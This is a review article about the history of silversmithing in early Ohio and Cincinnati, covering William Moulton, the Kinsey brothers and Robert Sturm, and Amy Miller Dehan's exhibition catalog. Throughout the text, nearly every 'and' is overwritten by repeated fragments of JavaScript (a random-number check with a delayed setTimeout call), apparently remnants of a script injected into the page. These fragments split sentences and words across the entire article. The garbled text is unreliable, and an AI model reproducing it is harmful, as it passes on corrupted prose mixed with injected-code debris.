By: Hollie Davis

CINCINNATI, OHIO — One can only speculate about what led William Moulton III, scion of the Newburyport, Mass., silversmithing dynasty, to sign on in 1787, at the age of 68, as one of the first group of settlers in the newly formed Northwest Territory in Marietta, Ohio. He would travel overlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the following year (his wife andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and children would follow in 1789) to the interior of Pennsylvania andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and then by river through an arduous journey to a muddy riverbank in the heart of the American wilderness. Perhaps he wanted adventure, perhaps he hoped for prospects for his unmarried 29-year-old daughter, or perhaps he knew that silver could be made almost anywhere andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that Marietta offered a new andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and captive audience for metalwares.

The citizens of Marietta, however, would not remain captive for long. From the earliest years of settlement in the Northwest Territory, silver pops up on inventory after inventory, although the vast majority of the pieces noted are spoons. Spoons are all that is known of Moulton’s work in Ohio, although to be fair, he andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and many other smiths continued to use the same marks they had used elsewhere, making true provenance especially difficult to establish with early pieces.

Hundreds of silversmiths worked across what would become in 1803 the state of Ohio, but all of them would have found it necessary in the earliest years of settlement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and statehood to adapt their skills to other, less precious metals. Many made the majority of their living from pewter, while others like Arundel Hill worked as watch- andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clockmakers, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and still others like Isaac Zane remain relatively unknown, taking silver commissions when they could andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and melting down coins (hence, the origin of the term “coin silver”) andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and unfashionable older objects to forge them into whatever was desirable at the moment.

Such recycling was necessary, but it limited what we know of early Ohio silver today — as a great deal of it was undoubtedly melted down again as fashions changed throughout the Nineteenth Century. It also limited what was manufactured in the period as well, as specie was scarce. Despite the creation of the US Mint in Philadelphia shortly before the end of the Revolutionary War, very few coins were actually minted until the 1830s, when the facility’s space andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and technology permitted more efficient practices. Barter-heavy trade in the Northwest Territory also kept coinage rare, where, in the absence of stable, centralized banking, it was preferable to deal in more easily traded equivalencies, such as furs, livestock andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and whiskey. Coins remained scarce for decades.

Barter would have been very familiar to Moulton, who, along with silversmith Azariah Pratt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and son Elisha (from the Boston family of silversmiths), was living andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and working in 1788 in the security of the Campus Martius fortification, which cast a protective shadow over Marietta. At the time, there were fewer than 150 people in the settlement, a number that would not increase significantly by the time of Moulton’s death in 1793.

Despite an auspicious start, the growth of Marietta was slow due in large part to the Indian Wars that plagued the better part of the settlement’s first decade, until the signing of the Treaty of Greenville in 1795. Many settlers opted to slide by Marietta’s business district, viewing “The Point” from a flatboat, in favor of the security offered by the larger settlement in Cincinnati, which although formed slightly later than that of Marietta, was marginally more established.

Although Henry Wadsworth Longfellow would not dub Cincinnati the “Queen of the West” until 1854, by the end of the first quarter of the Nineteenth Century the city was well on its way to the elegant refinement to which Longfellow referred andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Cincinnati’s burgeoning refinement was reflected, literally, in its silver. By 1830, the city would have become what Rhea Mansfield Knittle refers to in Early Ohio Silversmiths andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pewterers as “the greatest seat of silver-making west of New York, Philadelphia andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Baltimore.” Smiths flocked to Cincinnati from all over the Western world, hailing from not only Atlantic states, but the United Kingdom andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and continental Europe as well.

This boom is addressed in Amy Miller Dehan’s Cincinnati Silver 1788–1940, a book as opulent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rich in detail as the work it catalogs. The fully illustrated, 416-page book accompanied a recently closed summer exhibition at the Cincinnati Art Museum. Dehan, curator of decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design at the museum, writes that in 1819 Cincinnati was home to nine silversmith shops, which collectively employed 22 of the city’s residents. Just 30 years later, in 1850, the firm of brothers Edward andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and David Kinsey, the largest in the city, alone employed 16 workers.

“Timing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and location,” Dehan says, were keys to Cincinnati’s silversmithing boom, as people were seeking opportunities in the West, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “after 1830, we see a sharp increase in the number of silversmiths.” The city continued to grow, becoming, Dehan points out, the sixth largest in the United States by 1860. With Cincinnati’s location on the Ohio River, the development of the steamboat, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the canal system, resident silversmiths were well positioned to export their wares.

The Kinseys would come to represent the heart of the story of silver in Cincinnati andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in Ohio. Born in Wales, David Kinsey was an infant in 1820 when his family, including his 10-year-old brother Edward, immigrated. After a brief stay in New Jersey, Thomas Kinsey moved his family to Newport, Ky., just across the river from Cincinnati, where he made a living farming andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and working as a silversmith. (Despite the fact that Thomas would work until the age of 87, Dehan notes that no known pieces with his mark survive.)

By 1834, Edward was working in Newport; by 1836, he had crossed the river to set up shop in Cincinnati; by 1839, David was in his employ, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and five years later in 1844, they would cement their business relationship with a partnership as E. & D. Kinsey. Over the next 13 years, as they lived together over their shop, they transformed their operation, becoming, according to an early credit report that Dehan cites, “the largest manufacturing business in the West.”

Edward Kinsey retired in 1861, but he andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and David were well positioned to make the transition from the traditional handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcrafting methods to more modernized production, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and by 1864, David was advertising “Steam Silverware Manufactory,” although Dehan says steam power may have been utilized by the Kinseys much earlier. It would appear that although the Civil War disrupted the economy on every level, David Kinsey remained comfortably afloat during the conflict, making silver until his death in 1874, when the firm carried on with Kinsey’s sons, Edward andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Louis, manufacturing silver until 1882.

This, Dehan says, was one of the biggest surprises she discovered in her research for the exhibition catalog: the extent of manufacturing that continued beyond the end of the Civil War andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and well into the Twentieth Century. “We knew very little,” Dehan says, “about the activity here after the demise of Duhme & Co. in 1893, which signaled the end of large-scale silver manufacturing in Cincinnati. It was fantastic to discover that we had a few men, like Robert Sturm, Kenton Clark Kunkle andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and William Engbersen, who continued to create silver here in accordance with the ideals of the Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Crafts Movement.”

If William Moulton is Ohio’s silver’s first act andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Kinseys its second, then the final act belongs to Robert Sturm, a son of the Queen City who was born in 1874 to German immigrants. While records indicate he was working as a silversmith by age 16 in 1890, nothing is revealed as to his apprenticeship andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and training, but by 1900 he was partnered with Kunkle andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Engbersen andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and by 1910, he had opened his own shop. Sturm’s work, which Dehan puts on par with the finest Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Crafts silver from shops such as Kalo, has the quintessential handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and-hammered finish associated with the period. Sturm continued his work through 1931, after which point his name vanishes from city directories, as he left the city to enjoy farm life in the Ohio countryside for the next 30 years until his death in 1964.

City directories yield, according to Dehan, a dwindling number of silversmiths until 1940, the last entry for a silversmith, that of Kenton Clark Kunkle. The rising tide of changes as World War II approached affected manufacturing at all levels, particularly for metals, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the world would shift so dramatically over the coming decade that the aftermath would find production, availability andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and affordability of household wares, even finer ones like silver, permanently altered andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and far beyond the ken of Ohio’s first settlers. Yet so many years later, under the bright lights of Cincinnati Silver: 1788–1940, the accompanying exhibition, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dehan’s meticulous scholarship, their work still shines.

Dehan’s book, Cincinnati Silver: 1788–1940, with contributions by Janet C. Haartz andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nora Kohl, is a vital source for scholars, collectors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enthusiasts of American silver, as well as those interested in American material culture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the development of Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Century commerce. It is available for $100 in hardback, published by D. Giles Limited, London andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and distributed in the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Canada by Consortium Book Sales & Distribution; 612-746-2600, www.cbsd.com.

Hollie Davis is a freelance decorative arts writer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and editor who lives in Ohio.